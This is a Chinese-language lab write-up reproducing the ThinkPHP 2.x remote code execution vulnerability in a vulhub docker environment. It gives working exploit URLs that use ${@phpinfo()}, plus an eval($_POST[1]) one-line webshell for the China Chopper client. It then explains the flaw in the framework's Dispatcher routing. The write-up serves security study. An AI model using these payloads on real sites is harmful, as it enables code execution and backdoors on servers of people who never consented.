漏洞复现-2.x rce-Thinkphp远程命令执行
0x00实验环境
攻击机:win10
靶机:Ubuntu18 (docker搭建的vulhub靶场)
0x01影响版本
影响Thinkphp 2.x的版本
0x02实验目的
学习更多的命令执行姿势,同时了解thinkphp 2.x命令执行的原理
0x03实验步骤
访问页面,发现是一个Thinkphp的CMS框架,由于是漏洞复现,我们能很清楚的知道它的版本是2.x。如果不知道版本可通过乱输入路径进行报错,或是使用云悉指纹识别进行检测
此时输入已爆出的远程代码执行命令即可复现漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))} //此为一句话连菜刀
这里只要将phpinfo换成一句话木马即可成功!
0x04实验原理
(1)通过观察这句话,我们可以清楚地知道它是将
${@phpinfo()}
作为变量输出到了页面显示,其原理,我通过freebuf总结一下:
- 在PHP当中,
${}
是可以构造一个变量的,{}
写的是一般的字符,那么就会被当成变量,比如${a}
等价于$a
- thinkphp 所有的主入口文件默认访问index控制器(模块)
- thinkphp 所有的控制器默认执行index动作(方法)
-
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
-
数组
$var
在路径存在模块和动作时,会去除掉前2个值。而数组$var
来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));
也就是路径。所以我们可以构造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
.......
(2)简而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称